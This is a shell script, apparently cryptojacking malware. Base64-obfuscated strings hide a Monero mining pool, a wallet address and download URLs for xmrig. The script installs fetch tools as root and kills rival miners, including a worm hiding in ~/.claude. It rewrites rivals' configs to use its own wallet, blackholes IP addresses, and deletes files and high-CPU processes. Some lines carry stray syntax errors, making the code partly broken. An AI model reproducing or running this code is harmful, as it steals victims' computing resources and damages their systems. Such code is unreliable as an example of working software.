1. #!/bin/sh
  2. _d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
  3. #!/bin/sh
  4. if [ -z "$BASH_VERSION" ]; then
  5.   case "$0" in
  6.     /*|./*)
  7.       if command -v bash >/dev/null 2>&1; then
  8.         exec bash "$0" "$@"
  9.       fi
  10.     ;;
  11.   esac
  12. fi
  13. _c1="${1:-x}"
  14. _c2=$(_d 'aHR0cHM6Ly9yZWdpc3RyeS5ucG1qcy5vcmcvY2JjOTdiN2EvbGF0ZXN0')
  15. _c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
  16. _c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
  17. _c5=$(_d 'Z29Bd2dCQ0ZI')
  18. _c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
  19. _c7=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FsYmVydG90cmluZGFkZTEzMS9hbC8tL3Jhdy9tYXN0ZXIveG1yaWc=')
  20. _c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
  21. _c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
  22. log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
  23. _preflight() {
  24.   _pf_need_fetch=1  # always need HTTP fetch capability
  25.   # Determine what we have
  26.   _check_tools() {
  27.     _pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
  28.     command -v curl    >/dev/null 2>&1 && _pf_has_curl=1
  29.     command -v wget    >/dev/null 2>&1 && _pf_has_wget=1
  30.     command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
  31.     command -v perl    >/dev/null 2>&1 && _pf_has_perl=1
  32.   }
  33.   _check_tools
  34.   # Can we fetch?
  35.   _pf_can_fetch() {
  36.     # curl or wget alone is sufficient
  37.     [ "$_pf_has_curl" = "1" ] && return 0
  38.     [ "$_pf_has_wget" = "1" ] && return 0
  39.     # openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
  40.     [ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
  41.     return 1
  42.   }
  43.   # If we can't fetch, try to install as root
  44.   if ! _pf_can_fetch; then
  45.     log "PREFLIGHT: missing HTTP fetch capability"
  46.     if [ "$(id -u)" = "0" ]; then
  47.       log "Running as root — installing missing components..."
  48.       _pf_installed=0
  49.       # Try package managers in order of preference: curl first (simplest),
  50.       # then wget, then openssl+perl
  51.       if command -v apk >/dev/null 2>&1; then
  52.         # Alpine: prefer curl, then wget
  53.         if [ "$_pf_installed" = "0" ]; then
  54.           log "  trying apk add curl..."
  55.           apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
  56.         fi
  57.         if [ "$_pf_installed" = "0" ]; then
  58.           log "  trying apk add wget..."
  59.           apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
  60.         fi
  61.         if [ "$_pf_installed" = "0" ]; then
  62.           log "  trying apk add openssl perl..."
  63.           apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
  64.         fi
  65.       elif command -v apt-get >/dev/null 2>&1; then
  66.         # Debian/Ubuntu: prefer curl, then wget
  67.         apt-get update -qq >/dev/null 2>&1
  68.         if [ "$_pf_installed" = "0" ]; then
  69.           log "  trying apt-get install curl..."
  70.           apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
  71.         fi
  72.         if [ "$_pf_installed" = "0" ]; then
  73.           log "  trying apt-get install wget..."
  74.           apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
  75.         fi
  76.         if [ "$_pf_installed" = "0" ]; then
  77.           log "  trying apt-get install openssl perl..."
  78.           apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
  79.         fi
  80.       elif command -v yum >/dev/null 2>&1; then
  81.         # RHEL/CentOS
  82.         if [ "$_pf_installed" = "0" ]; then
  83.           log "  trying yum install curl..."
  84.           yum install -y curl >/dev/null 2>&1 && _pf_installed=1
  85.         fi
  86.         if [ "$_pf_installed" = "0" ]; then
  87.           log "  trying yum install wget..."
  88.           yum install -y wget >/dev/null 2>&1 && _pf_installed=1
  89.         fi
  90.       elif command -v dnf >/dev/null 2>&1; then
  91.         # Fedora
  92.         if [ "$_pf_installed" = "0" ]; then
  93.           log "  trying dnf install curl..."
  94.           dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
  95.         fi
  96.       fi
  97.       # Re-check after install
  98.       _check_tools
  99.       if _pf_can_fetch; then
  100.         log "PREFLIGHT: install succeeded"
  101.       else
  102.         log "PREFLIGHT: cannot install fetch tools; deferring to static-pastebin cron path"
  103.       fi
  104.     else
  105.       log "PREFLIGHT: no fetch capability and not root; deferring to static-pastebin cron path"
  106.     fi
  107.   fi
  108.   # Report what we have
  109.   _pf_tools=""
  110.   [ "$_pf_has_curl" = "1" ]    && _pf_tools="$_pf_tools curl"
  111.   [ "$_pf_has_wget" = "1" ]    && _pf_tools="$_pf_tools wget"
  112.   [ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
  113.   [ "$_pf_has_perl" = "1" ]    && _pf_tools="$_pf_tools perl"
  114.   log "PREFLIGHT OK: fetch available via:$_pf_tools"
  115. }
  116. _preflight
  117.  
  118. _q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'
  119.  
  120. _z7() {
  121.     _r1="${1:-/var/tmp/.odoo_pg_health.json}"
  122.     _r2="${2:-/var/tmp/.odoo_pg_start}"
  123.     _s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
  124.     _s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
  125.     _h1 "$_r1" "$_s1"
  126.     _h1 "$_r2" "$_s2"
  127.     return 0
  128. }
  129.  
  130. _h1() {
  131.     _f0="$1"
  132.     _p0="$2"
  133.     _t0="${_f0}.$$"
  134.     command -v sed >/dev/null 2>&1 || return 0
  135.     command -v cat >/dev/null 2>&1 || return 0
  136.     [ -f "$_f0" ] || return 0
  137.     [ -r "$_f0" ] || return 0
  138.     [ -w "$_f0" ] || return 0
  139.     if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
  140.         if cat "$_t0" > "$_f0" 2>/dev/null; then
  141.             :
  142.         fi
  143.     fi
  144.     rm -f "$_t0" 2>/dev/null || :
  145.     return 0
  146. }
  147.  
  148. mask_enemy() { _z7 "$@"; }
  149.  
  150.  
  151. detect_kill_unicorn() {
  152.     _dk_uid=$(id -u 2>/dev/null || echo 0)
  153.     _dk_user=$(id -un 2>/dev/null || echo "")
  154.     _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
  155.     [ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
  156.     _dk_cldir="$_dk_home/.claude"
  157.  
  158.     # Target 1: the daemonized miner, identified by cwd == ~/.claude.
  159.     # Safe: nothing legitimate ever runs from the worm's hidden dir.
  160.     _dk_miners=""
  161.     for _dk_proc in /proc/[0-9]*; do
  162.         [ -d "$_dk_proc" ] || continue
  163.         _dk_pid=${_dk_proc#/proc/}
  164.         [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  165.         [ "$_dk_pid" = "$$" ] && continue
  166.         _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  167.         [ "$_dk_owner" = "$_dk_uid" ] || continue
  168.         _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
  169.         case "$_dk_cwd" in
  170.             "$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
  171.         esac
  172.     done
  173.  
  174.     # Target 2: the live CRON jobs -> descendants respawner tree
  175.     _dk_crons=""
  176.     for _dk_proc in /proc/[0-9]*; do
  177.         [ -d "$_dk_proc" ] || continue
  178.         _dk_pid=${_dk_proc#/proc/}
  179.         [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  180.         [ "$_dk_pid" = "$$" ] && continue
  181.         _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  182.         [ "$_dk_owner" = "$_dk_uid" ] || continue
  183.         [ -r "$_dk_proc/cmdline" ] || continue
  184.         _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
  185.         _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
  186.         _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
  187.         _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
  188.         [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
  189.         [ "$_dk_a1" = "jobs" ] || continue
  190.         [ -n "$_dk_a2" ] && continue
  191.         _dk_crons="$_dk_crons $_dk_pid"
  192.     done
  193.  
  194.     # expand CRON jobs to all descendants
  195.     _dk_tree="$_dk_crons"
  196.     for _dk_round in 1 2 3 4 5; do
  197.         for _dk_proc in /proc/[0-9]*; do
  198.             [ -d "$_dk_proc" ] || continue
  199.             _dk_pid=${_dk_proc#/proc/}
  200.             [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  201.             [ "$_dk_pid" = "$$" ] && continue
  202.             _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  203.             [ "$_dk_owner" = "$_dk_uid" ] || continue
  204.             _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
  205.             case " $_dk_tree " in
  206.                 *" $_dk_pp "*)
  207.                     case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
  208.                     ;;
  209.             esac
  210.         done
  211.     done
  212.  
  213.     # Kill everything (miners + cron tree), TERM then KILL
  214.     _dk_all="$_dk_miners $_dk_tree"
  215.     for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
  216.     sleep 1 2>/dev/null
  217.     for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done
  218.  
  219.     # Scrub the respawner: crontab + payload files in .claude
  220.     _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
  221.     if command -v crontab >/dev/null 2>&1; then
  222.         _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
  223.         if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
  224.             if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
  225.                 grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
  226.                 echo "[dk] scrubbed crontab: $_dk_user"
  227.             fi
  228.         fi
  229.         rm -f "$_dk_ct" 2>/dev/null
  230.     fi
  231.     for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
  232.         [ -f "$_dk_f" ] || continue
  233.         grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
  234.         chattr -f -ia "$_dk_f" 2>/dev/null
  235.         sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
  236.     done
  237.  
  238.     # remove the worm payload files (only ones we own, only inside .claude)
  239.     if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
  240.         for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
  241.             [ -e "$_dk_f" ] || continue
  242.             [ -O "$_dk_f" ] || continue
  243.             chattr -f -ia "$_dk_f" 2>/dev/null
  244.             rm -f "$_dk_f" 2>/dev/null
  245.             echo "[dk] removed: $_dk_f"
  246.         done
  247.     fi
  248.  
  249.     [ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
  250.         || echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
  251.     return 0
  252. }
  253.  
  254.  
  255. detect_kill_unicorn
  256.  
  257. http_get() {
  258.   _hg_url="$1"; _hg_follow=0
  259.   while [ "$_hg_follow" -lt 5 ]; do
  260.     _hg_follow=$((_hg_follow + 1))
  261.     _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  262.     _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  263.     [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  264.     _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  265.     [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  266.     _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  267.     printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  268.       "$_hg_path" "$_hg_host" > "$_hg_req"
  269.     if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  270.       # HTTPS — openssl s_client with SNI
  271.       if command -v timeout >/dev/null 2>&1; then
  272.         timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  273.           -servername "$_hg_host" -quiet \
  274.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  275.       else
  276.         openssl s_client -connect "${_hg_ip}:443" \
  277.           -servername "$_hg_host" -quiet \
  278.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  279.       fi
  280.       [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  281.     else
  282.       # Plain HTTP — use nc (netcat) if available (works on Alpine)
  283.       if command -v nc >/dev/null 2>&1; then
  284.         cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  285.       elif [ -n "$BASH_VERSION" ]; then
  286.         # bash /dev/tcp fallback
  287.         exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  288.         cat "$_hg_req" >&3
  289.         cat <&3 > "$_hg_raw" 2>/dev/null
  290.         exec 3>&-
  291.       else
  292.         # Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
  293.         cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  294.       fi
  295.     fi
  296.     _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  297.     case "$_hg_status" in
  298.       301|302|303|307|308)
  299.         _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  300.         rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  301.         [ -z "$_hg_loc" ] && return 1
  302.         case "$_hg_loc" in
  303.           /*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;
  304.           http://*|https://*) ;;
  305.           *) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;
  306.         esac
  307.         _hg_url="$_hg_loc"
  308.         continue
  309.       ;;
  310.     esac
  311.     tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
  312.       if (/^(.*?)\n\n(.*)$/s) {
  313.         my ($h, $b) = ($1, $2);
  314.         if ($h =~ /transfer-encoding:\s*chunked/i) {
  315.           my $out = "";
  316.           while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
  317.             my $sz = hex($1); last if $sz == 0;
  318.             $b = $2; $out .= substr($b, 0, $sz);
  319.             $b = substr($b, $sz); $b =~ s/^\n//;
  320.           }
  321.           print $out;
  322.         } else { print $b; }
  323.       }
  324.     ' | grep -v '^[0-9a-fA-F]*$'
  325.     rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  326.     return 0
  327.   done
  328.   return 1
  329. }
  330. http_get_bin() {
  331.   _hg_url="$1"; _hg_out="$2"; _hg_follow=0
  332.   while [ "$_hg_follow" -lt 5 ]; do
  333.     _hg_follow=$((_hg_follow + 1))
  334.     _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  335.     _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  336.     [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  337.     _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  338.     [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  339.     _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  340.     printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  341.       "$_hg_path" "$_hg_host" > "$_hg_req"
  342.     if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  343.       # HTTPS — openssl s_client with SNI
  344.       if command -v timeout >/dev/null 2>&1; then
  345.         timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  346.           -servername "$_hg_host" -quiet \
  347.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  348.       else
  349.         openssl s_client -connect "${_hg_ip}:443" \
  350.           -servername "$_hg_host" -quiet \
  351.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  352.       fi
  353.       [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  354.     else
  355.       # Plain HTTP — nc or bash /dev/tcp
  356.       if command -v nc >/dev/null 2>&1; then
  357.         cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  358.       elif [ -n "$BASH_VERSION" ]; then
  359.         exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  360.         cat "$_hg_req" >&3
  361.         cat <&3 > "$_hg_raw" 2>/dev/null
  362.         exec 3>&-
  363.       else
  364.         cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  365.       fi
  366.     fi
  367.     _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  368.     case "$_hg_status" in
  369.       301|302|303|307|308)
  370.         _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  371.         rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  372.         [ -z "$_hg_loc" ] && return 1
  373.         case "$_hg_loc" in
  374.           /*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;
  375.           http://*|https://*) ;;
  376.           *) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;
  377.         esac
  378.         _hg_url="$_hg_loc"
  379.         continue
  380.       ;;
  381.     esac
  382.     perl -0777 -ne '
  383.       if (/^(.*?)\r\n\r\n(.*)$/s) {
  384.         my ($h, $b) = ($1, $2);
  385.         $h =~ s/\r//g;
  386.         if ($h =~ /transfer-encoding:\s*chunked/i) {
  387.           my $out = "";
  388.           while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
  389.             my $sz = hex($1); last if $sz == 0;
  390.             $b = $2; $out .= substr($b, 0, $sz);
  391.             $b = substr($b, $sz); $b =~ s/^\r?\n//;
  392.           }
  393.           print $out;
  394.         } else { print $b; }
  395.       }
  396.     ' < "$_hg_raw" > "$_hg_out"
  397.     rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  398.     [ -s "$_hg_out" ] && return 0 || return 1
  399.   done
  400.   return 1
  401. }
  402. fetch_url() {
  403.   _fu_url="$1"
  404.   if command -v curl >/dev/null 2>&1; then
  405.     curl -fsSLk --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
  406.   elif command -v wget >/dev/null 2>&1; then
  407.     wget -qO- --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
  408.   else
  409.     http_get "$_fu_url"
  410.   fi
  411. }
  412. fetch_file() {
  413.   _ff_url="$1"; _ff_out="$2"
  414.   if command -v curl >/dev/null 2>&1; then
  415.     curl -fLk --silent --show-error --connect-timeout 10 --max-time 120 \
  416.       --retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
  417.   elif command -v wget >/dev/null 2>&1; then
  418.     wget -q --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
  419.   else
  420.     http_get_bin "$_ff_url" "$_ff_out"
  421.   fi
  422. }
  423. _is_excluded() {
  424.   _ie_cmdline="$1"
  425.   for _ie_pat in $_c6; do
  426.     case "$_ie_cmdline" in
  427.       *"$_ie_pat"*) return 0 ;;
  428.     esac
  429.   done
  430.   return 1
  431. }
  432. kill_themf() {
  433.   (
  434.     set +e
  435.     _kt_threshold=9
  436.     for _kt_proc in /proc/[0-9]*; do
  437.       [ -r "$_kt_proc/status" ] || continue
  438.       _kt_pid="${_kt_proc#/proc/}"
  439.       _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
  440.       # Exclude our miner
  441.       _is_excluded "$_kt_cmdline" && continue
  442.       _kt_score=0
  443.       _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
  444.       _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
  445.       _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
  446.       _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
  447.       _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
  448.       _kt_rss=${_kt_rss:-0}
  449.       _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
  450.       [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
  451.       [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  452.       [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  453.       _kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
  454.       [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  455.       [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  456.       _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
  457.       if [ "$_kt_user" != root ]; then
  458.         case "$_kt_state" in
  459.           S*) _kt_score=$((_kt_score + 1)) ;;
  460.         esac
  461.       fi
  462.       case "$_kt_exe" in
  463.         /tmp/*|/var/tmp/*|/dev/shm/*)
  464.           _kt_score=$((_kt_score + 4)) ;;
  465.         "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  466.           _kt_score=$((_kt_score + 4)) ;;
  467.       esac
  468.       [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
  469.       if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
  470.         echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
  471.         kill -9 "$_kt_pid" 2>/dev/null
  472.       fi
  473.     done
  474.   )
  475.   return 0
  476. }
  477. kill_mf3() {
  478.   (
  479.     set +e
  480.     _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
  481.     _km_skip="$_c5"
  482.     _km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
  483.     _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
  484.     # Tier 1: watchdogs + grep scanner
  485.     _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
  486.     # Tier 2: miners
  487.     _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
  488.     _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
  489.     _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
  490.     # T1: SIGTERM then SIGKILL
  491.     _km_t1p=$(_km_pids_of "$_km_t1")
  492.     _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
  493.     _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  494.     if [ -n "$_km_list" ]; then
  495.       kill -TERM $_km_list 2>/dev/null; sleep 1
  496.       for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  497.     fi
  498.     # T2: SIGTERM then SIGKILL
  499.     _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  500.     if [ -n "$_km_list" ]; then
  501.       kill -TERM $_km_list 2>/dev/null; sleep 2
  502.       for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  503.     fi
  504.     # T3: orphans
  505.     sleep 1
  506.     _km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
  507.     [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
  508.   )
  509.   return 0
  510. }
  511. kill_and_remove_process() {
  512.   _karp_term="$1"
  513.   [ -z "$_karp_term" ] && return 2
  514.   for _karp_dir in /proc/[0-9]*; do
  515.     [ -r "$_karp_dir/comm" ] || continue
  516.     _karp_pid="${_karp_dir##*/}"
  517.     _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
  518.     _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
  519.     if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
  520.       continue
  521.     fi
  522.     _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
  523.     [ -z "$_karp_exe" ] && continue
  524.     # Skip system binaries
  525.     case "$_karp_exe" in
  526.       /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
  527.     esac
  528.     echo "Terminating '$_karp_term' PID=$_karp_pid"
  529.     kill "$_karp_pid" 2>/dev/null; sleep 1
  530.     kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
  531.     if [ -f "$_karp_exe" ]; then
  532.       rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
  533.     fi
  534.   done
  535.   return 0
  536. }
  537. kill_high_cpu() {
  538.   _khc_threshold=150.0
  539.   ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
  540.     [ -f "/proc/$_khc_pid/cmdline" ] || continue
  541.     _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
  542.     _is_excluded "$_khc_cmdline" && continue
  543.     kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
  544.   done
  545. }
  546. harden_network() {
  547.   command -v iptables >/dev/null 2>&1 && {
  548.     iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
  549.     iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
  550.   }
  551.   command -v ip >/dev/null 2>&1 && {
  552.     ip route add blackhole 139.59.59.33 2>/dev/null || true
  553.     ip route add blackhole 45.94.31.89 2>/dev/null || true
  554.     ip route add blackhole 154.89.152.115 2>/dev/null || true
  555.     ip route add blackhole 84.21.173.223 2>/dev/null || true
  556.     ip route add blackhole 142.132.131.238 2>/dev/null || true
  557.   }
  558. }
  559. cleanup_files() {
  560.   # Remove competing miner artifacts (union of all scripts)
  561.   rm -rf /bin/softirq 2>/dev/null || true
  562.   rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
  563.   rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
  564.   rm -rf /usr/local/bin/watcher 2>/dev/null || true
  565.   rm -rf /tmp/runnv/* 2>/dev/null || true
  566.   rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
  567.   rm -rf /tmp/nuclear 2>/dev/null || true
  568.   rm -f /tmp/mon.sh 2>/dev/null || true
